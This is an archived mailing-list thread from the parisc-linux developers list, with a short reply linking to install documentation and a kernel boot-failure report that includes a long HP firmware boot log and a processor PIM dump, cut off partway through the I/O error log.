"Copeland, Daniel" <Daniel.Copeland@alcoa.com> wrote:

> Hello,
> 
> Did you have to get special usb drivers to be able to install?  I
downloaded
> the debian v. 3.0 iso and it boots fine, I just can't acknowledge w/ my
> keyboard...

perhaps you should read the section related to b2600 on this page:
http://pateam.esiee.fr/list.html

the mailing-list archive:
http://www.fr.parisc-linux.org/mailing-lists/

eventually the FAQ (there's an entry about USB keyboards)
http://www.fr.parisc-linux.org/faq/

and the Boot HOWTO
http://pateam.esiee.fr/doc.html

everything is explained there.

you need one of the latest netinst isos to install your box:
http://pateam.esiee.fr/download.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/

(mail CC'd to the m-l to feed the archive)


From - Thu Nov 08 21:26:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Fri, 28 Feb 2003 18:19:02 +0100
Lines: 935
Approved: news@gmane.org
Message-ID: <3E5F80120000003F@ocpmta8.freegates.net>
References: <3E5A232800001242@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622249 22476 80.91.229.3 (22 Nov 2014 02:10:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:49 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 28 10:19:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id B31C24842
	for <parisc-linux@parisc-linux.org>; Fri, 28 Feb 2003 10:19:14 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ooA3-0006EI-00; Fri, 28 Feb 2003 18:19:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 28 Feb 2003 18:19:02 +0100
In-Reply-To: <3E5A232800001242@ocpmta8.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17818

>Hi all,
>
>
>I test it on gcc-3.2 64bits and I obtain a a kernel (I will try to boot
it
>latter).
>

And as announce it failled to boot :( 

Here is the boot log:

Firmware Version  41.28

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst  
 Data
  ---------  --------   ---------------------  -----------------  ------------
      1      550  MHz   Active                 Functional         512 KB
  1 MB
      3      550  MHz   Idle                   Functional         512 KB
  1 MB

  Central Bus Speed (in MHz)  :        133  
  Available Memory            :    4194304  KB
  Good Memory Required        :      15364  KB

   Primary boot path:    0/0/2/1.6           
   Alternate boot path:  0/0/2/1.6           
   Console path:         0/0/4/1.0           
   Keyboard path:        0/0/4/0.0           


---- Main Menu ---------------------------------------------------------------

----
Main Menu: Enter command or menu > bo extscsi.8
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003
Information: Boot device can't seek past 2Gb (ignore next error).byteio_read:
seekread() returned -1 expected 2048

Partition Start(MB) End(MB) Id Type
1               1      63   f0 Palo
2              64     188   83 ext2
3             189     313   82 swap
5             314    2000   83 ext2
6            2001    2250   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3687647 bytes @ 0x44000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current
command line:
2/vmlinux root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux
 1: root=/dev/sda5
 2: HOME=/
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? 0
2/vmlinux-2.4.20-pa27-smp64
Current command line:
2/vmlinux-2.4.20-pa27-smp64 root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
 0: 2/vmlinux-2.4.20-pa27-smp64
 1: root=/dev/sda5
 2: HOME=/
 3: console=ttyS0
 4: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=2/vmlinux-2.4.20-pa27-smp64'
Selected kernel: /vmlinux-2.4.20-pa27-smp64 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 2907552 mediaptr 0x1000
Segment 1 load 003c6000 size 1407360 mediaptr 0x2c7000
Segment 2 load 00520000 size 344064 mediaptr 0x41f000
Segment 3 load 00578000 size 32768 mediaptr 0x473000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       OFF           OFF       ON         ON
LED State: System running normally.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
sym53c875-0: ID 7, Fast-20, Parity Checking
sym53c875-1: rev 0x37 on pci bus 0 device 2 function 1 irq 131
sym53c875-1: ID 7, Fast-20, Parity Checking
sym53c895-2: rev 0x1 on pci bus 0 device 1 function 0 irq 129
sym53c895-2: ID 7, Fast-20, Parity Checking
sym53c895-2: SCSI bus mode change from 80 to 80.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
scsi2 : sym53c8xx-1.7.3c-20010512
blk: queue 000000008fa50e40, I/O limit 4095Mb (mask 0xffffffff)
  Vendor: SEAGATE   Model: ST39140WS         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
blk: queue 000000008fa50c40, I/O limit 4095Mb (mask 0xffffffff)
Attached scsi disk sda at scsi2, channel 0, id 8, lun 0
sym53c895-2-<8,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 sda11 >
STI GSC/PCI graphics driver version 0.9
BUG: Skipping previously registered driver: sti (native)
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  2504.400 MB/sec
   8regs_prefetch:  1856.000 MB/sec
   32regs    :  2067.600 MB/sec
   32regs_prefetch:  1946.000 MB/sec
raid5: using function: 8regs (2504.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 2048 buckets, 80Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 318k freed
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       OFF           OFF       ON         ON
LED State: System running normally.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************

************* SYSTEM ALERT **************
SYSTEM NAME: ap8002
DATE: 02/28/2003 TIME: 15:19:37
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

0x0000107000FF6292 000000FF FF800000 - type  0 = Data Field Unused
0x5800187000FF6292 00006701 1C0F1325 - type 11 = Timestamp 02/28/2003 15:19:37
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice: 
*****************************************

...

and the pim info


Service Menu: Enter command > pim


PROCESSOR PIM INFORMATION

Original Product Number:  A3639C
Current Product Number:   A3639C


-------  Processor 1 HPMC Information - PDC Version: 41.28   ------ 

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011016312  0xcb81000000000000
       0x0000087000ff6292  0x000000ffff800000
       0x6000082013016062  0x2002000000080000
       0x6000082013016072  0x0000000000080000
       0x7000082013016082  0x0000000000192200
       0x6000082013036062  0x2001000000082004
       0x6000082013036072  0x0000000000082000
       0x7000082013036082  0x0000000000992600
       0x6000082070006062  0x0000000000080000
       0x6000082070006072  0x0000000000080000
       0x7000082070006082  0x0000000000192200
       0x6000082070016062  0x0000000000000800
       0x6000082070016072  0x0000000000000800
       0x7000082070016082  0x00000000001a4400
       0x0000080080006310  0x0000000000000001
       0x7000082082006333  0x0000000000b92200
       0x7000082082016333  0x0000000000b92200
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082082006333  0x0000000000b92200
       0x7000082382006343  0x0000000000070200
       0x7000082382016343  0x0000000000070200
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x7000082382056343  0x0000000000070200
       0x7000082382086343  0x0000000000070200
       0x70000823820a6343  0x0000000000070200
       0x70000823820c6343  0x0000000000070200
       0x7000082082016333  0x0000000000b92200
       0x7000082382106343  0x0000000000070200
       0x7000082382126343  0x0000000000070200
       0x7000082382146343  0x0000000000070200
       0x7000082382186343  0x0000000000070200
       0x70000823821a6343  0x0000000000070200
       0x70000823821c6343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000082389006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  0000000010516300  000000001014d6ec  0000000010507b00
04-07  000000008f0c8000  0000000010431788  000000008f093000  0000000010000000
08-11  000000001349c2b0  000000001349d4e8  000000007f093b25  0000000010565d00
12-15  00000000faf00b2c  0000000010565d60  000000008f677ec0  000000008f675800
16-19  000000001349d4e8  0000000000005000  00000000faf005e0  0000000000000180
20-23  0000000010565d00  00000000002f7465  00000000003f45a2  000fe18fffc079c0
24-27  000000007f0c8b27  000fe18fffc079c0  0000000000575898  0000000010507b00
28-31  000000000007f0c8  003f86400007f0c8  000000008f67cf40  0000000000008ba3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000006  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001dcdcb88a5  0000000000000000  000000001014d718  0000000005804200
20-23  0000000000000180  00000000faf00b2c  000000ff0804cf0f  c000000000000000
24-27  0000000000435000  000000007f680000  0000000000041020  5555555555555555
28-31  000000ffff95c810  5555555555555555  000000008f67c000  0000000010578000

Space Registers 0 - 7
00-03  00000180          00000180          00000000          00000180
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000001014d71c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0010c03b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0xfffffffffed25000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000000008f777ec0  0000000010507b00  0000000000000002  00000000104ab298
08-11  0000000010507b00  0000000000000802  00000000104cc768  000000008fab0000
12-15  0000000000000000  0000000000000000  000000001016db38  00000000103b1d10
16-19  00000000000009c8  000000008fa5e000  000000000800000f  00000000104ab2a0
20-23  000000008f777ec0  0000000010507b00  00000000003f45a2  000000000000ba2e
24-27  0000000400000000  000099997fab0b70  000000007fab0b78  000000000bebc200
28-31  0000000000000001  00000000ff915e20  000000001016880c  0000000010507b00


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301010800802004
CPU Status Register 0        = 0x2640c24000000000
CPU Status Register 1        = 0x8000200000000000
SADD LOG                     = 0xf8f0bd000040b800
Read Short LOG               = 0xc18200ff80000002



-----------------  DEW 1 HPMC Information -  ------ 

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

Runway Control Log Reg            = 0x00927b0000000000
Runway Address Data Log Reg Odd   = 0xc0aa1010c4a61010
Runway Address Data Log Reg Even  = 0xc8a61010cca61010
Runway Address Log Reg            = 0x00000000000000f4
Runway Broad Error Log Reg        = 0x000000000000005c

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X       

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2002000000080000
Merced Error Overflow Reg         = 0x0000000000080000
Merced AERR Addr1 Log Reg         = 0x00006000ff86fdc0
Merced AERR Addr2 Log Reg         = 0x00008000078fff08
Merced DERR  Log Reg              = 0x0001000000000000
Merced Error Syndrome Reg         = 0x00000000000000c0


-------  Processor 1  LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 1  TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000



-------  Processor 3 HPMC Information - PDC Version: 41.28   ------ 

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

HPMC Chassis Codes 

       Chassis Code        Extension 
       ------------        --------- 
       0x0000082000ff6242  0x0000000000000000
       0x1800082011036322  0xcb81800000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       

General Registers 0 - 31
00-03  0000000000000000  0000000010516b00  0000000010115eec  00000000103fd0f8
04-07  000000000800000f  0000000000000002  0000000000000000  0000000010507b00
08-11  00000000103fd0f8  00000000103fd0f8  00000000103903c0  000000001038eec0
12-15  0000000000000001  0000000000000001  000000008fabdec8  00000000000dec68
16-19  0000000000000000  0000000000000000  00000000faf005e0  0000000000000001
20-23  0000000000005c10  0000000010431078  0000000010507b00  0000000000000001
24-27  0000000000000116  00000000103903c0  00000000103fd130  0000000010507b00
28-31  0000000000000800  000000008f0e0fb0  000000008f0e0fc0  0000000000008ba3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  000000000000001e  0000000000000000  00000000000000c0  000000000000002f
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001dcda30375  0000000000000000  0000000010115ff8  000000000ea010d3
20-23  0000000000000000  0000000000000000  000000000804030f  0000000000000000
24-27  0000000000435000  000000007f064000  0000000000041020  5555555555555555
28-31  000000ffff95c810  5555555555555555  000000008f0e0000  0000000000008020

Space Registers 0 - 7
00-03  00000780          00000780          00000000          00000780
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000010115ffc
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed2d000
System Requestor Address     = 0x000000fffed2c000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000000008f777ec0  0000000010507b00  0000000000000002  00000000104ab298
08-11  0000000010507b00  0000000000000802  00000000104cc768  000000008fab0000
12-15  0000000000000000  0000000000000000  000000001016db38  00000000103b1d10
16-19  00000000000009c8  000000008fa5e000  000000000800000f  00000000104ab2a0
20-23  000000008f777ec0  0000000010507b00  00000000003f45a2  000000000000ba2e
24-27  0000999900000000  000099997fab0b70  000000007fab0b78  000000000bebc200
28-31  0000000000000001  00000000ff915e20  000000001016880c  0000000010507b00


Check Summary                = 0xcb81800000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301030800802004
CPU Status Register 0        = 0x3640c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x48e0000000000002
Read Short LOG               = 0xc18080ff80080014



-----------------  DEW 3 HPMC Information -  ------ 

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

Runway Control Log Reg            = 0x0006720000000000
Runway Address Data Log Reg Odd   = 0xfffffffffffc3f00
Runway Address Data Log Reg Even  = 0xfffffffffffc3f00
Runway Address Log Reg            = 0x0000000000000048
Runway Broad Error Log Reg        = 0x00000000000000dc

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X             ERR_ERROR       X            X   X       

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2001000000082004
Merced Error Overflow Reg         = 0x0000000000082000
Merced AERR Addr1 Log Reg         = 0x00c0000000300000
Merced AERR Addr2 Log Reg         = 0x0000000000f00000
Merced DERR  Log Reg              = 0x0001000000000000
Merced Error Syndrome Reg         = 0x0000000000260000


-------  Processor 3  LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 3  TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X       

Bus Requestor Address      = 0x0000000000000000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000080000
Error Overflow Reg         = 0x0000000000080000
AERR Address 1 Log Reg     = 0x0000000000000000
AERR Address 2 Log Reg     = 0xf800000000000000
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x000112000a96c580
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



Bus 1 Log Information

Timestamp =    Fri Feb  28 15:19:35 GMT 2003    (20:03:02:28:15:19:35)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_TIMEOUT   X               X           

Bus Requestor Address      = 0xfffffffffed2c000
Bus Target Address         = 0x00000000f000a000
Bus Responder Address      = 0x0000000000000000

Error Status Reg           = 0x0000000000000800
Error Overflow Reg         = 0x0000000000000800
AERR Address 1 Log Reg     = 0x08006000f000a000
AERR Address 2 Log Reg     = 0x6000b0002f700a10
FERR  Log Reg              = 0x0000000000000000
DERR  Log Reg              = 0x0000000000000000
Error Syndrome Reg         = 0x0000000000000000



 Address/Control Parity Error Registers  

   Address/Control Parity Error Bit (AE) Not Set 



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE
 CW
-----------             -----                ------  ------   ----------------
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter RP  0x000000ffff0dff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff0eff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff06ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff02ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff04ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff05ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000101ffff03ff83   0x103c  0x1051              X
System Bus Adapter SB  0x000000ffffffff82   0x103c  0x1050              X
System Bus Adapter RP  0x000202ffff0cff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff0aff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff09ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff0bff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff08ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000202ffff07ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter -- System Bus Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:37 GMT 2003    (20:03:02:28:15:21:37)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X                X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0xfffffffffed00000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000007ff0034

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff0dff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff0eff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff06ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff02ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff01ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X       

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000101ffff04ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Fri Feb  28 15:21:39 GMT 2003    (20:03:02:28:15:21:39)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
